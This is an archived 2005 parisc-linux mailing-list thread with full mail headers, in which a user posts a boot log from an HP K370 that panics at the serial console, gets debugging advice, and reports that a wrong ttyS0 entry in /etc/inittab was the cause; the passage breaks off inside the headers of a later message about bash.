X-GMX-UID: 4DLQY4s8eSEkR76WZHQhaXN1IGRvb4Bz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23266

Greetings to all!

I have a K370 here, all reasonable attempts to boot it have failed miserably.
The only thing that boots is the Gentoo 2005 Live CD and I have no clue why :(.

Here is the bootup log.

Main Menu: Enter command or menu > ls

---- Main Menu ---------------------------------------------------------------

     Command                           Description
     -------                           -----------
     BOot [PRI|ALT|<path>]             Boot from specified path
     PAth [PRI|ALT] [<path>]           Display or modify a path
     SEArch [DIsplay|IPL] [<path>]     Search for boot devices

     COnfiguration menu                Displays or sets boot values
     INformation menu                  Displays hardware information
     SERvice menu                      Displays service commands

     DIsplay                           Redisplay the current menu
     HElp [<menu>|<command>]           Display help for menu or command
     RESET                             Restart the system
----
Main Menu: Enter command or menu > bo fwscsi.3
Interact with IPL (Y, N, or Cancel)?> Y

Booting...
Boot IO Dependent Code (IODC) revision 152


HARD Booted.
palo ipl 1.8 root@livecd Wed Dec 14 17:02:54 MST 2005

Partition Start(MB) End(MB) Id Type
1               1      39   f0 Palo
2              40     133   83 ext2
3             134    8707   83 ext2

PALO(F0) partition contains:

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).Current command line:
2/vmlinux root=/dev/sda3 console=ttyB0
 0: 2/vmlinux
 1: root=/dev/sda3
 2: console=ttyB0

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? b

Command line for kernel: 'root=/dev/sda3 console=ttyB0 single palo_kernel=2/vmlinux'
Selected kernel: /vmlinux from partition 2
ELF32 executable
Entry 00100100 first 00100000 n 3
Segment 0 load 00100000 size 3580800 mediaptr 0x1000
Segment 1 load 0046b000 size 1334164 mediaptr 0x36c000
Segment 2 load 00000000 size 0 mediaptr 0x0
Branching to kernel entry point 0x00100100.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.15-rc5-pa5 (root@livecd) (gcc version 3.3.5 (Gentoo 3.3.5-r1, pie-8.7.7.1)) #1 SMP Thu Dec 15 14:49:24 MST 2005
FP[0] enabled: Rev 0 Model 14
The 32-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005b10 00000491 00000000 00000000 291a830d 100000f1 00000008 000000b2 000000b2
vers  00000501
CPUID vers 14 rev 23 (0x000001d7)
capabilities 0x3
model 9000/898/K370
Total Memory: 2175 MB
SMP: bootstrap CPU ID is 0
Built 1 zonelists
Kernel command line: root=/dev/sda3 console=ttyB0 single palo_kernel=2/vmlinux
PID hash table entries: 4096 (order: 12, 65536 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 524288 (order: 9, 2097152 bytes)
Inode-cache hash table entries: 262144 (order: 8, 1048576 bytes)
Memory: 2228200k available
Mount-cache hash table entries: 512
Brought up 1 CPUs
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port at 0xfff8a000 [10] { 12, 0xf, 0x580, 0x0000b }
2. Mohawk Core BA at 0xffd00000 [10/12] { 11, 0x0, 0x044, 0x00081 },  additional addresses: 0xffd0c000 0xffc00000
3. Mohawk Core SCSI at 0xffd06000 [10/12/5] { 10, 0x0, 0x044, 0x00082 }
4. Mohawk Core LAN (802.3) at 0xffd07000 [10/12/6] { 10, 0x0, 0x044, 0x0008a }
5. Mohawk Core Centronics at 0xffd02000 [10/12/0] { 10, 0x0, 0x044, 0x00074 },  additional addresses: 0xffd01000 0xffd03000
6. Mohawk Core PS/2 Port at 0xffd08000 [10/12/7] { 10, 0x0, 0x044, 0x00084 }
7. Mohawk Core PS/2 Port at 0xffd08100 [10/12/8] { 10, 0x0, 0x044, 0x00084 }
8. Mohawk Core FW-SCSI at 0xf1800000 [10/0] { 4, 0x0, 0x044, 0x00089 }
9. Gecko BOA BC GSC+ Port at 0xf1804000 [10/4] { 7, 0x0, 0x500, 0x0000c }
10. Sahp Baat Kiuh AP/MUX at 0xf1900000 [10/4/0] { 5, 0x0, 0x044, 0x0000d }
11. Gecko BOA BC HP-PB Port at 0xf193c000 [10/4/60] { 7, 0x0, 0x103, 0x0000c }
12. HP HSC-PCI Cards at 0xf1808000 [10/8] { 4, 0x0, 0x004, 0x0009d }
13. Gecko BOA BC GSC+ Port at 0xf1810000 [10/16] { 7, 0x0, 0x500, 0x0000c }
14. Gecko BOA BC HP-PB Port at 0xf1a3c000 [10/16/60] { 7, 0x0, 0x103, 0x0000c }
15. U2-IOA BC GSC+ Port at 0xf183f000 [10/63] { 7, 0x1, 0x501, 0x0000c }
16. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0xf, 0x580, 0x0000b }
17. Shrike Add-on FW-SCSI at 0xf1008000 [8/8] { 4, 0x1, 0x014, 0x00089 }
18. HP HSC-PCI Cards at 0xf100c000 [8/12] { 4, 0x0, 0x004, 0x0009d }
19. U2-IOA BC GSC+ Port at 0xf103f000 [8/63] { 7, 0x1, 0x501, 0x0000c }
20. BraveHawk 200MHz DC3 (899/K570) at 0xfffa0000 [32] { 0, 0x0, 0x5b1, 0x00004 }
21. BraveHawk 200MHz DC3 (899/K570) at 0xfffa2000 [34] { 0, 0x0, 0x5b1, 0x00004 }
22. BraveHawk 200MHz DC3 (899/K570) at 0xfffa4000 [36] { 0, 0x0, 0x5b1, 0x00004 }
23. BraveHawk 200MHz DC3 (899/K570) at 0xfffa6000 [38] { 0, 0x0, 0x5b1, 0x00004 }
24. BraveHawk 200MHz DC3 (899/K570) at 0xfffac000 [44] { 0, 0x0, 0x5b1, 0x00004 }
25. BraveHawk 200MHz DC3 (899/K570) at 0xfffae000 [46] { 0, 0x0, 0x5b1, 0x00004 }
26. Memory at 0xfffb1000 [49] { 1, 0x0, 0x032, 0x00009 }
Releasing cpu 1 now, hpa=fffa2000
FP[1] enabled: Rev 0 Model 14
Releasing cpu 2 now, hpa=fffa4000
FP[2] enabled: Rev 0 Model 14
Releasing cpu 3 now, hpa=fffa6000
FP[3] enabled: Rev 0 Model 14
Releasing cpu 4 now, hpa=fffac000
FP[4] enabled: Rev 0 Model 14
Releasing cpu 5 now, hpa=fffae000
FP[5] enabled: Rev 0 Model 14
CPU(s): 6 x PA8200 (PCX-U+) at 200.000000 MHz
Setting cache flush threshold to 140 (6 CPUs online)
Found U2 at 0xfff8a000
Found U2 at 0xfff88000
Lasi version 0 at 0xffd00000 found.
LED display at ffd0c000 registered
Found GeckoBoa at 0xf1804000
Found GeckoBoa at 0xf1810000
Dino version 3.x (card mode) found at 0xf100c000
Dino version 3.x (card mode) found at 0xf1808000
SCSI subsystem initialized
usbcore: registered new driver usbfs
usbcore: registered new driver hub
unwind_init: start = 0x1046cfe0, end = 0x1049a3b0, entries = 11581
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Initializing Cryptographic API
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered
PDC Stable Storage facility v0.10
Soft power switch support not available.
STI GSC/PCI core graphics driver Version 0.9a
lp: driver loaded but no devices found
Generic RTC Driver v1.07
serio: GSC PS/2 keyboard port at 0xffd08000 irq 19 @ 10:12:7
serio: GSC PS/2 mouse port at 0xffd08100 irq 19 @ 10:12:8
HP SDC: No SDC found.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
HP SDC MLC: Request for raw HIL ISR hook denied
Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
Serial mux driver (8 ports) Revision: 0.3
ttyB0 at MMIO 0xf1900800 (polled) is a Mux
ttyB1 at MMIO 0xf1900880 (polled) is a Mux
ttyB2 at MMIO 0xf1900900 (polled) is a Mux
ttyB3 at MMIO 0xf1900980 (polled) is a Mux
ttyB4 at MMIO 0xf1900a00 (polled) is a Mux
ttyB5 at MMIO 0xf1900a80 (polled) is a Mux
ttyB6 at MMIO 0xf1900b00 (polled) is a Mux
ttyB7 at MMIO 0xf1900b80 (polled) is a Mux
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 18 [PCSPP,TRISTATE]
lp0: using parport0 (interrupt-driven).
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
zalon_probe: Zalon version 1, IRQ 69
ncr53c720-0: rev 0xf irq 69
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3g
zalon_probe: Zalon version 1, IRQ 70
ncr53c720-1: rev 0xf irq 70
ncr53c720-1: ID 7, Fast-10, Parity Checking, Differential
scsi1 : ncr53c8xx-3.4.3g
  Vendor: QUANTUM   Model: VIKING II 9.1WLS  Rev: 3506
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target1:0:3: Beginning Domain Validation
 target1:0:3: asynchronous.
 target1:0:3: wide asynchronous.
 target1:0:3: FAST-10 WIDE SCSI 20.0 MB/s ST (100 ns, offset 8)
 target1:0:3: Domain Validation skipping write tests
 target1:0:3: Ending Domain Validation
  Vendor: QUANTUM   Model: VIKING II 9.1WLS  Rev: 3506
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target1:0:4: Beginning Domain Validation
 target1:0:4: asynchronous.
 target1:0:4: wide asynchronous.
 target1:0:4: FAST-10 WIDE SCSI 20.0 MB/s ST (100 ns, offset 8)
 target1:0:4: Domain Validation skipping write tests
 target1:0:4: Ending Domain Validation
  Vendor: QUANTUM   Model: VIKING II 9.1WLS  Rev: 3506
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target1:0:5: Beginning Domain Validation
 target1:0:5: asynchronous.
 target1:0:5: wide asynchronous.
 target1:0:5: FAST-10 WIDE SCSI 20.0 MB/s ST (100 ns, offset 8)
 target1:0:5: Domain Validation skipping write tests
 target1:0:5: Ending Domain Validation
  Vendor: QUANTUM   Model: VIKING II 9.1WLS  Rev: 3506
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target1:0:6: Beginning Domain Validation
 target1:0:6: asynchronous.
 target1:0:6: wide asynchronous.
 target1:0:6: FAST-10 WIDE SCSI 20.0 MB/s ST (100 ns, offset 8)
 target1:0:6: Domain Validation skipping write tests
 target1:0:6: Ending Domain Validation
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi2: 53c710 rev 2
scsi2 : LASI SCSI 53c700
  Vendor: PIONEER   Model: DVD-ROM DVD-303   Rev: 1.06
  Type:   CD-ROM                             ANSI SCSI revision: 02
 target2:0:2: Beginning Domain Validation
 target2:0:2: asynchronous.
 target2:0:2: FAST-10 SCSI 10.0 MB/s ST (100 ns, offset 8)
 target2:0:2: Domain Validation skipping write tests
 target2:0:2: Ending Domain Validation
  Vendor: TOSHIBA   Model: CD-ROM XM-5401TA  Rev: 3115
  Type:   CD-ROM                             ANSI SCSI revision: 02
 target2:0:3: Beginning Domain Validation
 target2:0:3: asynchronous.
 target2:0:3: FAST-5 SCSI 4.2 MB/s ST (236 ns, offset 8)
 target2:0:3: Domain Validation skipping write tests
 target2:0:3: Ending Domain Validation
st: Version 20050830, fixed bufsize 32768, s/g segs 256
SCSI device sda: 17836668 512-byte hdwr sectors (9132 MB)
SCSI device sda: drive cache: write back
SCSI device sda: 17836668 512-byte hdwr sectors (9132 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3
sd 1:0:3:0: Attached scsi disk sda
SCSI device sdb: 17836668 512-byte hdwr sectors (9132 MB)
SCSI device sdb: drive cache: write back
SCSI device sdb: 17836668 512-byte hdwr sectors (9132 MB)
SCSI device sdb: drive cache: write back
 sdb: sdb1 sdb2
sd 1:0:4:0: Attached scsi disk sdb
SCSI device sdc: 17836668 512-byte hdwr sectors (9132 MB)
SCSI device sdc: drive cache: write back
SCSI device sdc: 17836668 512-byte hdwr sectors (9132 MB)
SCSI device sdc: drive cache: write back
 sdc: sdc1
sd 1:0:5:0: Attached scsi disk sdc
SCSI device sdd: 17836668 512-byte hdwr sectors (9132 MB)
SCSI device sdd: drive cache: write back
SCSI device sdd: 17836668 512-byte hdwr sectors (9132 MB)
SCSI device sdd: drive cache: write back
 sdd: sdd1
sd 1:0:6:0: Attached scsi disk sdd
sr0: scsi3-mmc drive: 0x/0x cd/rw xa/form2 cdda tray
Uniform CD-ROM driver Revision: 3.20
sr1: scsi-1 drive
sd 1:0:3:0: Attached scsi generic sg0 type 0
sd 1:0:4:0: Attached scsi generic sg1 type 0
sd 1:0:5:0: Attached scsi generic sg2 type 0
sd 1:0:6:0: Attached scsi generic sg3 type 0
sr 2:0:2:0: Attached scsi generic sg4 type 5
sr 2:0:3:0: Attached scsi generic sg5 type 5
usbmon: debugfs is not available
mice: PS/2 mouse device common for all mice
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :   428.000 MB/sec
   8regs_prefetch:   364.000 MB/sec
   32regs    :   432.000 MB/sec
   32regs_prefetch:   388.000 MB/sec
raid5: using function: 32regs (432.000 MB/sec)
md: md driver 0.90.3 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: bitmap version 4.39
oprofile: using timer interrupt.
NET: Registered protocol family 2
IP route cache hash table entries: 131072 (order: 7, 524288 bytes)
TCP established hash table entries: 262144 (order: 9, 3145728 bytes)
TCP bind hash table entries: 65536 (order: 7, 524288 bytes)
TCP: Hash tables configured (established 262144 bind 65536)
TCP reno registered
TCP bic registered
NET: Registered protocol family 1
NET: Registered protocol family 10
IPv6 over IPv4 tunneling driver
NET: Registered protocol family 17
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
EXT3-fs: INFO: recovery required on readonly filesystem.
EXT3-fs: write access will be enabled during recovery.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: recovery complete.
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: Badness in smp_call_function at arch/parisc/kernel/smp.c:348
Backtrace:
 [<10116430>] smp_call_function+0x374/0x3a4
 [<101065bc>] flush_data_cache+0x24/0x40
 [<10105764>] free_initmem+0x64/0x228
 [<10104e84>] init+0x2dc/0x3c8
 [<1010dc5c>] ret_from_kernel_thread+0x1c/0x24

484k freed
INIT: version 2.86 booting

Gentoo Linux; http://www.gentoo.org/
 Copyright 1999-2005 Gentoo Foundation; Distributed under the GPLv2

 * Mounting proc at /proc ...                                             [ ok ]
 * Mounting sysfs at /sys ...                                             [ ok ]
 * Mounting /dev for udev ...                                             [ ok ]
 * Configuring system to use udev ...
 *   Populating /dev with device nodes ...
 *   Setting /sbin/udevsend as hotplug agent ...
                                                                          [ ok ]
 * Mounting devpts at /dev/pts ...                                        [ ok ]
 * Activating (possible) swap ...Adding 2008084k swap on /dev/sdb1.  Priority:-1 extents:1 across:2008084k
                                         [ ok ]
 * Remounting root filesystem read-only (if necessary) ...                [ ok ]
 * Checking root filesystem .../dev/sda3: clean, 2162/1097728 files, 75932/2194880 blocks
                                           [ ok ]
 * Remounting root filesystem read/write ...                              [ ok ]
 * Setting hostname to nova ...                                           [ ok ]
 * Calculating module dependencies ...                                    [ ok ]
 * Using /etc/modules.autoload.d/kernel-2.6 as config:
 *   Loading module lasi_82596 ...                                        [ ok ]
 * Autoloaded 1 module(s)
 * Checking all filesystems .../dev/sda2: clean, 13/24192 files, 13497/96388 blocks
/dev/sdb2: recovering journal
/dev/sdc1: recovering journal
/dev/sdd1: recovering journal
/dev/sdc1: clean, 183415/1115040 files, 379438/2229010 blocks
/dev/sdd1: clean, 12/1115040 files, 43208/2229010 blocks
/dev/sdb2: clean, 25458/864960 files, 62574/1726987 blocks
                                           [ ok ]
 * Mounting local filesystems ...                                         [ ok ]
 * Activating (possibly) more swap ...                                    [ ok ]
 * Setting system clock to hardware clock [UTC] ...                       [ ok ]
 * Configuring kernel parameters ...                                      [ ok ]
 * Updating environment ...                                               [ ok ]
 * Cleaning /var/lock, /var/run ...                                       [ ok ]
 * Cleaning /tmp directory ...                                            [ ok ]
 * Loading key mappings ...                                               [ ok ]
 * Setting terminal encoding to ASCII ...                                 [ ok ]
 * Setting user font ...                                                  [ ok ]
 * Starting lo
 *   Bringing up lo ...                                                   [ ok ]
 * Initializing random number generator ...                               [ ok ]
INIT: Entering runlevel: 3
 * Starting eth0
 *   Bringing up eth0
 *     10.0.1.202
                                                                          [ ok ]
                                                                          [ ok ]
 *   Adding routes
 *     default gw 10.0.1.1 ...                                            [ ok ]
 * Starting local ...                                                     [ ok ]
 * Mounting network filesystems ...                                       [ ok ]
Kernel panic - not syncing: Kernel Fault

What happens here is that it sticks at "Mounting Network Filesystems". If I press any key on my Serial console here, then it goes off and panics.

The Debian boot CD's did something similar (freezing, then when I press a key it panics). I have tried most of the Gentoo hppa-sources with no avail, also tried the 2.6.15-rc5-pa5 Kernel from cvs.parisc-linux.org (as seen above).

I'm not sure whats wrong here, and rebooting this beast is a very long process (20 minutes each time).

Does anyone have any ideas? I'd really like to run Linux on this mammoth somehow, but I've tried everything I can think of with no sucssess (except the Gentoo Live CD, but that doesn't really do anything other then let me setup the system and compile a kernel).

Cheers!
Keven Tipping

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Keven Tipping <bytelogix@shaw.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Gentoo & PARisc Kernel broken?
Date: Fri, 16 Dec 2005 13:34:14 -0700
Lines: 112
Approved: news@gmane.org
Message-ID: <9cd1679d03d0.9d03d09cd167@shaw.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623957 17423 80.91.229.3 (22 Nov 2014 02:39:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Dec 2005 20:34:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 16 Dec 2005 21:34:28 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B53FB7D6F5;
	Fri, 16 Dec 2005 13:34:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14913-01; Fri, 16 Dec 2005 13:34:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 08DE97D6B9;
	Fri, 16 Dec 2005 13:34:18 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE86A7D6AB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Dec 2005 13:34:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14648-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Dec 2005 13:34:15 -0700 (MST)
Original-Received: from pd3mo3so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id 4DF4F7D6A5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Dec 2005 13:34:15 -0700 (MST)
Original-Received: from pd2mr8so.prod.shaw.ca (pd2mr8so-qfe3.prod.shaw.ca [10.0.141.11])
	by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15
	2004)) with ESMTP id <0IRL00K87YH2S180@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Fri, 16 Dec 2005 13:34:14 -0700 (MST)
Original-Received: from shaw.ca ([10.0.122.102])
	by pd2mr8so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0IRL005KGYH2GDA0@pd2mr8so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Fri, 16 Dec 2005 13:34:14 -0700 (MST)
Original-Received: from [10.0.144.80] by pd5ims2.prod.shaw.ca (mshttpd); Fri,
	16 Dec 2005 13:34:14 -0700
X-Mailer: iPlanet Messenger Express 5.2 HotFix 1.18 (built Jul 28 2003)
Content-language: en
Content-disposition: inline
X-Accept-Language: en
Priority: normal
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gkHRYwg4eSEkJ76WZHQhaXN1IGRvb8Cy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23267

Greetings to all!

Thanks for your help.

Managed to fix the problem, turns out that /etc/inittab wasn't point to ttyB0. It was pointing to ttyS0 instead.

I'm not sure why that caused the kernel to panic on the first sign of input from the serial console when it hanged (in reality Agetty just hadn't been spawned on the ttyB0 interface), but anyways, the machine seems to be operating properly now as the login pops up right after the last bootup line ("Mounting network filesystems... [OK]").

Thanks!
Keven Tipping

----- Original Message -----
From: Grant Grundler <grundler@parisc-linux.org>
Date: Friday, December 16, 2005 0:51 am
Subject: Re: [parisc-linux] Gentoo & PARisc Kernel broken?

> On Thu, Dec 15, 2005 at 10:58:42PM -0700, Keven Tipping wrote:
> > Greetings to all!
> > 
> > I have a K370 here, all reasonable attempts to boot it have 
> failed miserably.
> > The only thing that boots is the Gentoo 2005 Live CD and I have 
> no clue why :(.
> > 
> > Here is the bootup log.
> ...
> > 12. HP HSC-PCI Cards at 0xf1808000 [10/8] { 4, 0x0, 0x004, 
> 0x0009d }
> > 13. Gecko BOA BC GSC+ Port at 0xf1810000 [10/16] { 7, 0x0, 
> 0x500, 0x0000c }
> > 14. Gecko BOA BC HP-PB Port at 0xf1a3c000 [10/16/60] { 7, 0x0, 
> 0x103, 0x0000c }
> > 15. U2-IOA BC GSC+ Port at 0xf183f000 [10/63] { 7, 0x1, 0x501, 
> 0x0000c }
> > 16. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0xf, 0x580, 
> 0x0000b }
> > 17. Shrike Add-on FW-SCSI at 0xf1008000 [8/8] { 4, 0x1, 0x014, 
> 0x00089 }
> > 18. HP HSC-PCI Cards at 0xf100c000 [8/12] { 4, 0x0, 0x004, 
> 0x0009d }
> 
> My first guess was the "HSC-PCI" cards are the root of some new 
> problem...
> ...
> > Found GeckoBoa at 0xf1804000
> > Found GeckoBoa at 0xf1810000
> > Dino version 3.x (card mode) found at 0xf100c000
> > Dino version 3.x (card mode) found at 0xf1808000
> 
> which are better known as "Card Mode Dino". But I don't think
> that's the case since I never saw evidence of tulip getting loaded
> nor any problem with configuring LAN.
> 
> 
> >  * Calculating module dependencies ...                           
>         [ ok ]
> >  * Using /etc/modules.autoload.d/kernel-2.6 as config:
> >  *   Loading module lasi_82596 ...                               
>         [ ok ]
> 
> Note that this LAN driver worked fine. Firmware programs
> the MMIO address range for this card.
> Any reason why tulip driver didn't get auto-loaded here?
> 
> ...
> >  *   Bringing up eth0
> >  *     10.0.1.202
> 
> Which I expect to be the LASI NIC.
> 
> ...
> >  * Mounting network filesystems ...                              
>         [ ok ]
> > Kernel panic - not syncing: Kernel Fault
> > 
> > What happens here is that it sticks at "Mounting Network 
> Filesystems".> If I press any key on my Serial console here, then 
> it goes off and panics.
> 
> Which suggests it's a problem with the Mux Driver somehow.
> I expect a "login:" prompt to be the next output.
> 
> At one point there were issues with MUX driver keyboard input.
> Maybe those issues have resurfaced in a new way now.
> 
> ...
> > I'm not sure whats wrong here, and rebooting this beast is a 
> very long
> > process (20 minutes each time).
> > 
> > Does anyone have any ideas?
> ...
> > I'd really like to run Linux on this mammoth somehow, but I've tried
> > everything I can think of with no sucssess (except the Gentoo 
> Live CD,
> > but that doesn't really do anything other then let me setup the 
> system> and compile a kernel).
> 
> Start comparing the Gentoo Live CD kernel with the nearest revision
> from debian or otherwise that fails.  MUX driver and serial support
> in particular.
> 
> hth,
> grant
> 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Keven Tipping <bytelogix@shaw.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bizzare Bash behavior (Bug? 2.6.14.3-pa0 SMP)
Date: Sat, 17 Dec 2005 02:16:28 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <a6b35aa6481f.a6481fa6b35a@shaw.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623958 17428 80.91.229.3 (22 Nov 2014 02:39:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Dec 2005 09:16:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 17 Dec 2005 10:16:40 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 657237D6B2;
	Sat, 17 Dec 2005 02:16:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05897-10; Sat, 17 Dec 2005 02:16:37 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E646E7D6C1;
	Sat, 17 Dec 2005 02:16:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95C097D6A8
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Dec 2005 02:16:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05890-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Dec 2005 02:16:32 -0700 (MST)
Original-Received: from pd2mo2so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id E4DBF7D670
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Dec 2005 02:16:31 -0700 (MST)
Original-Received: from pd2mr8so.prod.shaw.ca (pd2mr8so-qfe3.prod.shaw.ca [10.0.141.11])
	by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15
	2004)) with ESMTP id <0IRM007DCXRGVB60@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Sat, 17 Dec 2005 02:16:28 -0700 (MST)
Original-Received: from shaw.ca ([10.0.122.102])
	by pd2mr8so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0IRM0071RXRGAR70@pd2mr8so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Sat, 17 Dec 2005 02:16:28 -0700 (MST)
